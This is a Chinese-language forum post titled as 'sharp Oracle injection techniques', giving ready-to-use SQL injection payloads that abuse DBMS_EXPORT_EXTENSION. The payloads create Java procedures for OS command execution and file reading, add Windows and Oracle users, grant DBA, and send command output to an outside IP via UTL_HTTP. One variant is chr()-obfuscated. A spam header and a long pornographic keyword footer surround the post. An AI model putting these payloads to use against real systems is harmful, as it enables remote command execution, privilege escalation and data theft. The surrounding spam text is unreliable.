九九99在线视频-九九99香蕉在线视频美国毛片-九九99热久久精品在线9-九九99热-九九99久久精品在免费线bt-九九99久久


曙海教育集團論壇開發語言培訓專區Oracle數據庫 → 犀利的 oracle 注入技術


  共有92654人關注過本帖樹形打印

主題:犀利的 oracle 注入技術

美女呀,離線,留言給我吧!
wangxinxin
  1樓 個性首頁 | 博客 | 信息 | 搜索 | 郵箱 | 主頁 | UC


加好友 發短信
等級:青蜂俠 帖子:1393 積分:14038 威望:0 精華:0 注冊:2010-11-12 11:08:23
犀利的 oracle 注入技術  發帖心情 Post By:2010-12-11 11:04:20

介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創建用戶(除非當前用戶有system權限,否則無法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權限,以下語句應該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創建函數
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權限
給用戶SYSTEM執行權限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執行函數
select RunCMD2('cmd /c dir') from dual

支持(0中立(0反對(0單帖管理 | 引用 | 回復 回到頂部

返回版面帖子列表

犀利的 oracle 注入技術








簽名
主站蜘蛛池模板: 欧美日韩国产成人在线观看 | 精品国产乱码久久久久久鸭王1 | 特黄特色大片免费播放器图片 | 欧美一级免费片 | 国产成人精品三级麻豆 | 女教师交换乱淫 | 中出少妇 | 国产1区二区 | 亚洲视频99| 少妇性aaaaaaaaa视频 | 国产91精品高潮白浆喷水 | 天天色婷婷 | 亚洲欧美日韩在线一区 | 精精国产| 成人在线一区二区 | 激情久久婷婷 | 香港三日本三级少妇少99 | 精品国产成人一区二区 | 久久超碰av | 无人在线观看高清视频 | 免费看欧美成人a片无码 | 日本污污网站 | 水中色av综合 | 久久爽精品区穿丝袜 | 欧美国产一区二区三区 | 九九视频国产 | 日韩一卡二卡三卡 | 国产精品成人在线观看 | 日本我不卡 | 国产成a人片在线观看视频下载 | 亚洲色图激情 | 日本少妇热妇bbbbbb | 日韩无码专区 | 亚洲色成人网一二三区 | 色五月丁香五月综合五月4438 | 成人av在线网址 | 午夜精品美女久久久久av福利 | 国产色播av在线 | 夜夜躁狠狠躁日日躁aab苏桃 | 日韩不卡一区二区 | 纯爱无遮挡h肉动漫在线播放 | 欧美亚洲视频在线观看 | 色婷婷中文字幕 | 欧美精品xxx| 91九色精品女同系列 | 91黄色短视频 | 亚洲欧美第一页 | 99re6这里有精品热视频 | 交换配乱吟粗大农村大坑性事视频 | 欧美视频免费看欧美视频 | 亚洲国色天香卡2卡3卡4 | 免费草逼网站 | 蜜臀av性久久久久蜜臀aⅴ四虎 | 成人乱淫av日日摸夜夜爽节目 | 精品久久久久成人码免费动漫 | 无遮挡很爽很污很黄的网站 | 狠狠躁夜夜躁人人爽天天高潮 | 亚洲熟妇av综合网 | 亚洲永久精品在线观看 | 国产精品成人免费一区久久羞羞 | 欧美综合自拍亚洲综合图 | 色婷婷国产精品视频 | 国产欧美精品一区二区在线播放 | 精品无人码麻豆乱码1区2区 | 国产精品zjzjzj在线观看 | 天海翼精品久久中文字幕 | 日本熟妇大乳 | 手机av在线免费 | 黑人巨大精品欧美一区 | 中文字幕人成乱码熟女app | 国产叼嘿视频在线观看 | 欧美精品中文字幕亚洲专区 | 色噜噜狠狠一区 | 国产精品久久久久久久免费大片 | 国产精品久久久久久久久免费相片 | 中文字幕h| 极品少妇在线观看 | 日韩av片无码一区二区不卡电影 | 毛片日本| 日韩精选av | 国产97色在线 | 日韩 | 超碰国产天天做天天爽 | 午夜dj高清免费观看视频 | 国产成人精品久久二区二区91 | 经典三级在线视频 | 狠狠色狠狠色综合久久一 | 无码人妻精品一区二区三区不卡 | 爱情岛成人www亚洲网站 | 亚洲精品456在线播放dvd | 翔田千里高潮在线播放 | 久久精品亚洲精品国产欧美kt∨ | 人妻av中文字幕久久 | 日韩人妻无码精品-专区 | 最新偷窥盗摄 | 日韩福利在线播放 | 欧美乱妇高清无乱码 | 操丝袜美女视频 | 国产日韩欧美中文字幕 | 国产成人免费一区二区三区 | 成年人在线免费观看 | 黄a无码片内射无码视频 | 亚洲欧洲精品一区二区三区不卡 | 国产精品人妻一区二区三区四 | 日批免费在线观看 | 欧美一级性片 | 狠狠色丁香婷婷久久综合不卡 | 久久99这里只有精品 | 国产视频网站在线观看 | 亚洲熟妇自偷自拍另欧美 | 亚洲国产成人久久综合 | 久久久久久久久嫩草精品乱码 | 欧美精品一区二区在线播放 | 色中色在线视频 | 国产一区二区三区四区五区六区 | 尤物九九久久国产精品的特点 | 影视先锋av资源噜噜 | wwww亚洲熟妇久久久久 | 嫩草影院永久入口 | 成人av男人的天堂 | 夜色伊人 | 久草视频在线资源 | 欧美视频一区 | 青青久草网 | 亚洲成av人片久久 | 免费中文字幕日韩欧美 | 国产精品亚洲第一 | 午夜色大片在线观看 | 波多野结衣乳巨码无在线观看 | 在线免费看黄视频 | 成av人片一区二区三区久久 | 三男玩一个饥渴少妇爽叫视频播放 | 97久久天天综合色天天综合色hd | 波多野吉衣一区二区 | 真实国产老熟女粗口对白 | 男人女人黄 色视频一级香蕉 | 亚洲 中文字幕 日韩 无码 | 波多野成人无码精品电影 | 我要看一级黄色片 | 肥老熟妇伦子伦456视频 | 亚洲日韩国产二区无码 | 国产真实乱岳激情对白av | 古风h啪肉h文 | 亚洲一区精品在线 | 欧美日本精品一区二区三区 | 久久国产精品嫩草影院的使用方法 | 国产精品国产自产拍高清av | 午夜精品久久久久久99热小说 | 欧美操老女人 | 国精产品一区二区三区黑人免费看 | 青青草在线免费 | 久久国产精品偷任你爽任你 | 国产一区二区不卡精华液 | 人妻被按摩师玩弄到潮喷 | 1区2区3区高清视频 日本肥老妇色xxxxx日本老妇 | 顶级少妇mm131美女艺术 | 天天躁久久躁日日躁 | 亚洲精品伦理 | 好吊妞这里都是精品 | 爱欲av| 国产又大又黄又猛 | 香蕉视频在线观看www | 日婷婷 | 欧美日一区二区 | 91人人爽久久涩噜噜噜 | 成年人性生活免费视频 | 亚洲精品久久久久中文字幕m男 | 无码不卡av东京热毛片 | 国产精品刺激对白97 | 日韩精品在线免费视频 | 国产一区二区三区在线视频 | 国产老头与老太xxxxx看看吧 | 香蕉视频官网 | 成人乱人乱一区二区三区 | 天天综合网天天综合狠狠躁 | 久久精品九九精av | 永久免费观看国产裸体美女 | 成人春色www在线 | 国产成人精品无码免费看夜聊软件 | 久久久久国产精品视频 | 性按摩aaaaaa视频 | 东京热一精品无码av | 亚洲成人一区在线观看 | 91网站在线播放 | 国产精品人妻熟女毛片av久 | 亚洲欧美v国产一区二区 | av色在线 | 亚洲丝袜中文字幕 | 亚洲 欧美 日韩 国产综合 在线 | 亚洲综合91| 国产国产精品久久久久 | 狠狠色噜噜狠狠狠8888米奇 | 精品国产乱码久久久久久免费 | 国产精品人成在线观看 | 99婷婷| 嫩模写真一区二区三区三州 | 三级在线免费 | 国产自在自线午夜精品 | 蜜臀av性久久久蜜臀av流畅 | 女生高潮视频在线观看 | 天天干天天日夜夜操 | 狠狠色综合7777久夜色撩人ⅰ | 亚洲国产成人久久精品大牛影视 | 日韩人妻不卡一区二区三区 | 欧美激情 亚洲 | 日本三级韩国三级三级a级按摩 | 久久天天躁夜夜躁狠狠躁2022 | 91国在线啪 | 日韩福利一区二区 | 二男一女一级一片视频免费 | 国产精品成人影院在线观看 | 夜夜嗨一区 | 青青久久av北条麻妃黑人 | 欧美成人猛片aaaaaaa | 国产清纯白嫩初高生视频在线观看 | 免费视频在线观看1 | 中文字幕精品一区二区三区精品 | 香港三级精品三级在线专区 | 老头老太吃奶xb视频 | 在熟睡夫面前侵犯我在线播放 | 一区二区中文字幕在线观看 | 自拍第一页 | 好男人社区资源 | 精品视频网 | 精品成在人线av无码免费看 | 毛片91| 免费吃奶摸下激烈视频 | 成人免费区一区二区三区 | 亚洲嫩草影院 | 欧美成人精品高清视频在线观看 | 国自产拍偷拍精品啪啪一区二区 | 欧美三日本三级少妇99 | 午夜av福利在线 | 粗大的内捧猛烈进出 | 99精品欧美一区二区三区小说 | 久久99久久98精品免观看软件 | 日日躁夜夜摸月月添添添的视频 | 欧美日韩国产成人 | 亚洲久久一区 | 男人的天堂免费视频 | 69xxxx日本 | 色老头免费视频 | 一二三区国产 | 国产精品xxx在线 | 久久机热精品 | 国产一级片麻豆 | 日本一区二区三区高清在线观看 | 国产成人无码区免费内射一片色欲 | 国产中文区二暮区2022 | 日韩一区二区三免费高清 | 欧美亚洲在线观看 | 在线日本中文字幕 | 国产精品国产亚洲精品看不卡 | 丰满岳乱妇在线观看中字无码 | 哪里可以免费看av | 国产怡红院在线观看 | 爆操白虎逼 | www,日韩| 一级片免费观看视频 | 久久亚洲精品成人av | 午夜av在线播放 | 国产13页 | 国产特级毛片aaaaaa高清 | 亚洲色图欧美日韩 | 99久久国语露脸精品国产 | 日本护士毛茸茸高潮 | 黄色小视频网站免费 | 天堂最新资源在线 | 91久久精品一区二区三区 | 精品国产乱码久久久久久三级人 | 在线观看麻豆视频 | 国产视频色 | 一本色道久久加勒比88综合 | 中文字幕 亚洲一区 | 国产精品免费久久久久 | 欧洲无线码一二三四区 | 97偷拍少妇性按摩spa全程 | 亚洲精品国产精品国自产 | 美女av在线免费观看 | 天堂欧美城网站地址 | 少妇啪啪姿势不断呻吟av | 中文字幕高清在线 | 日日摸夜夜添夜夜添一区二区 | 欧美jizz19性欧美 | 青青草在线免费观看 | 黄色片的网站 | 午夜性爽 | 四虎影视在线 | 久久精品国产精品亚洲毛片 | 成人性生交视频免费看 | 久草在线视频免费资源观看 | 真实国产乱啪福利露脸 | 久久性生活| 美女天天干 | 美女爱爱爱 | 国产一级午夜一级在线观看 | 麻豆国产av超爽剧情系列 | 中文字幕99 | 夜夜草av | 欧洲亚洲女同hd | 国产精品系列视频 | 天堂网中文在线 | 日本人添下边视频免费 | 激情黄色一级片 | 国产成人精品av久久 | 永久免费不卡在线观看黄网站 | 成人免费毛片高清视频 | 日本少妇裸体做爰高潮片 | 国产日韩一区二区在线观看 | 中午日产幕无线码1区 | 欧美精品v国产精品 | 成人另类小说 | 久久精品99 | av午夜在线观看 | 欧美精品久久96人妻无码 | 五月天综合婷婷 | 九色丨9lpony丨国产 | 精品国产髙清在线看国产毛片 | 久久综合精品国产丝袜长腿 | 综合网激情 | 久久国产精品网 | 少妇精品偷拍高潮白浆 | 夜夜夜夜夜夜av夜夜夜夜 | 国产又粗又猛又黄 | 日韩av在线播| 国产精品久久久久久久久久久久久久 | 成人区精品一区二区 | 久久综合精品视频 | 日韩欧美精品一区二区 | 国产一区二区三区四区三区四 | 欧美一级淫 | аⅴ资源中文在线天堂 | 鲁一鲁一鲁一鲁一澡 | 亚洲 小说 欧美 激情 另类 | 日韩av第一页在线播放 | 欧美日韩在线播放 | 日韩综合在线观看 | 精品www日韩熟女人妻 | 亚洲欧洲av在线 | 国产亚洲成人精品 | av观看在线免费 | 中日韩一线二线三线视频 | 人妻人人做人做人人爱 | 免费精品一区二区三区第35 | 在线观看三区 | 亚洲精品无人区 | 狠狠色综合7777久夜色撩人 | 丰满少妇乱子伦精品看片 | 狠狠做| 国产偷国产偷亚洲清高动态图 | 91资源新版在线天堂成人 | 欧美成人一区在线观看 | 亚洲字幕av一区二区三区四区 | 91成品视频 | 日本三级黄在线观看 | 亚洲国产视频在线观看 | 色妞av| av激情在线| 日韩精品在线第一页 | 四虎影视免费永久在线 | 欧美日p视频 | 国产一级性生活片 | 国产乡下妇女做爰视频 | 天干夜天天夜天干天在线观看 | 无码日韩精品一区二区免费暖暖 | 欧洲成人午夜精品无码区久久 | 特级精品毛片免费观看 | 国产精品一区二区麻豆 | 一道本毛片| 日本高清成本人视频一区 | 久久久久久九九九九九 | 亚洲欧洲视频 | 久久99精品国产麻豆 | 免费黄av | 亚洲 欧美 中文字幕 | 一本大道在线一本久道视频 | yourporn久久久亚洲精品 | 熟妇人妻一区二区三区四区 | 搡老岳熟女国产熟妇 | 亚洲第一网站在线观看 | 亚洲 丝袜 另类 动漫 二区 | 欧美老妇与zozoz0交 | 成人精品在线播放 | 无码av最新清无码专区吞精 | 欧美sm极限捆绑bd | 精品人妻无码一区二区色欲产成人 | 300部国产真实乱 | 国语精品一区二区三区 | 久章草影院 | 人妻无码中文久久久久专区 | 狠狠色狠狠色综合久久一 | 欧美午夜精品久久久久久孕妇 | 色翁荡熄又大又硬又粗又动态图 | 懂色avcom| 白嫩少妇激情无码 | 国精品人妻无码一区二区三区性色 | 97免费公开在线视频 | 四虎永久网址 | 国产精品久久久久久久久久久久久久久久久 | 日本高清免费aaaaa大片视频 | 欧美成一区二区三区 | 午夜成人亚洲理论片在线观看 | h在线播放 | 久草在线播放视频 | 淫少妇av| av在线h| 天天做天天爱夜夜爽毛片 | 四虎小视频 | 久久99青青精品免费观看 | 中文字幕日韩欧美一区二区三区 | 亚洲美女性生活 | 麻豆短视频 | 天天综合永久 | 久久久国产精品 | 波多野结衣一区二区三区四区 | 色综合久久网 | 中文字幕观看视频 | 尤物精品视频在线观看 | 亚洲一区 在线播放 | 久久精品久久久 | 中国性偷拍xxxⅹ | 亚洲中文字幕无码专区 | 国产精视频 | 国产精品三级三级三级 | 91国内精品野花午夜精品 | 精品少妇v888av | 佐山爱成人av在线播放 | 天堂√最新版中文在线地址 | 公妇乱淫3| 日韩免费网 | 亚洲国产精品av | 亚洲永久免费观看 | 中文学幕专区 | 国产精品久久久久久亚洲伦 | av无码精品一区二区三区四区 | 天堂在线精品 | 亚洲欧美另类在线图片区 | 日本a级在线 | 色欧美亚洲| 精品国产一区二区三区护卡密 | 台湾全黄色裸体视频播放 | 香港经典a毛片免费观看播放 | 精品欧美成人高清在线观看 | 四虎影视18库在线影院 | 欧美一级α片 | 国产午夜精品无码 | 99自拍偷拍 | 国产乱肥老妇女精品视频网站 | 婷婷色中文 | 26uuu成人网| 欧美特级视频 | 最新2020无码中文字幕在线视频 | 日本大尺度吃奶做爰视频 | 婷婷99| 亚洲最大av网站在线观看 | 欧美一区二区国产 | 日韩av在线看免费观看 | 国产精品入口免费软件 | 午夜视频在线观看视频 | 日韩精品 中文字幕 视频在线 | 欧美成人久久久 | 天码中文字幕在线播放 | 亚洲精品毛片一级91精品 | 欧美大荫蒂毛茸茸视频 | 国产香港明星裸体xxxx视频 | 久久久久久曰本av免费免费 | 在线观看日韩一区 | 天天躁日日躁狠狠躁欧美老妇小说 | 狼人综合伊人网 | 国内揄拍国内精品 | 欧美无砖砖区免费 | 亚洲三级网址 | 国产女同疯狂作爱系列 | 女儿的朋友4在线观看 | 与子敌伦刺激对白播放 | 少妇粉嫩小泬喷水视频 | 久久九九精品国产综合喷水 | 成人欧美一区二区三区在线 | 欧美一级片播放 | 性生活免费网站 | 精品国产乱码久久久久夜深人妻 | 日日碰狠狠躁久久躁96avv | 五十路熟妇高熟无码视频 | 午夜寂寞少妇aaa片毛片 | 黑人巨大精品欧美一区二区小视频 | 久草最新网址 | 久青草国产在视频在线观看 | 欧美三级视频在线播放 | 一本一道久久综合狠狠老精东影业 | 91毛片在线观看 | 国产成人一区二区三区在线观看 | 伊人资源网 | 四虎一区二区 | 好爽又高潮了毛片 | a级片网址 | 少妇午夜三级伦理影院播放器 | 中文字幕在线人 | 中文字幕人成人乱码亚洲电影 | 91制服诱惑 | 日日射视频 | 韩国成年人网站 | 久久精品无码一区二区日韩av | 欧美高清性xxxxhd | 67194成人手机在线 | 巨胸喷奶水视频www免费网站 | 99国产精品白浆在线观看免费 | jizzyou中国少妇农村 | 国产色视频一区二区三区 | 亚洲 综合 清纯 丝袜 自拍 | 亚洲欧洲综合 | 朝鲜女人性猛交 | 亚洲另类伦春色综合妖色成人网 | 欧洲美女粗暴牲交免费观看 | 无码手机线免费观看 | 国产精品福利一区 | 乖女从小调教h尿便器小说 关秀媚三级 | 中出在线观看 | 亚洲精品456在线播放牛牛影院 | 欧美在线观看一区 | 国产黄色录像 | 国产另类ts人妖一区二区 | 夜夜高潮夜夜爽精品视频 | 成人欧美一区二区三区黑人 | 亚洲天堂一级片 | 久草网站 | 黄色片子免费看 | 国产刚发育娇小性色xxxxx | 精品国产一区三区 | 夜夜欢性恔免费视频 | 丝袜美腿亚洲一区二区图片 | 中文字幕日韩精品一区二区三区 | 国产一区网 | 97人人添人澡人人爽超碰 | 蜜桃av噜噜一区二区三区麻豆 | 伊人精品 | 91亚洲精品乱码久久久久久蜜桃 | 久久婷婷丁香五月综合五 | 亚洲第一网站男人都懂 | 久久亚洲高潮流白浆av软件 | 国产成人在线影院 | 欧美成人看片黄a免费看 | 中文字幕在线观看一区二区三区 | 亚洲伊人精品 | 亚洲在线激情 | 天天色亚洲 | 成人a级做爰生活片 | 泰国性xxxx极品高清hd | 天堂а在线中文在线新版 | www.成人免费| 